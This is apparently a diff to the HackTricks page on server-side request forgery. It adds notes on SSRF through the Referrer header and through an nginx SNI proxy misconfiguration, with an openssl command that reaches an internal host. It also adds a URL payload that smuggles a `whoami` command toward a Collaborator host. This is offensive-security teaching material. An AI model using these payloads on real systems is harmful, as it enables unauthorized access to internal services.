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GitBook: [#3739] No subject
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@ -10,13 +10,13 @@ Get Access Today:
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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@ -46,15 +46,6 @@ Usually you will find that the SSRF is only working in **certain whitelisted dom
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If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.\
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Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
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## SSRF via Referrer header
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Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities.\
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To discover this kind of "hidden" vulnerabilities you could use the plugin "**Collaborator Everywhere**" from Burp.
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## Exploitation
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## [Wget file upload](../file-upload/#wget-file-upload-ssrf-trick)
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## Protocols
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### file://
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@ -145,6 +136,36 @@ From [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.co
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3\. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains\
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4\. connect
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## SSRF via Referrer header
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Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities.\
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To discover this kind of "hidden" vulnerabilities you could use the plugin "**Collaborator Everywhere**" from Burp.
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## SSRF via SNI data from certificate
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The simplest misconfiguration that would allow you to connect to an arbitrary backend would look something like this:
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```nginx
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stream {
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server {
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listen 443;
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resolver 127.0.0.11;
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proxy_pass $ssl_preread_server_name:443;
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ssl_preread on;
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}
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}
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```
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Here, the SNI field value is used directly as the address of the backend.
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With this insecure configuration, we can **exploit the SSRF vulnerability simply by specifying the desired IP or domain name in the SNI field**. For example, the following command would force Nginx to connect to _internal.host.com_:
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```bash
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openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
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```
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## [Wget file upload](../file-upload/#wget-file-upload-ssrf-trick)
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## SSRF with Command Injection
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It might be worth trying a payload like: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
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@ -295,16 +316,17 @@ SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP
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* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
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* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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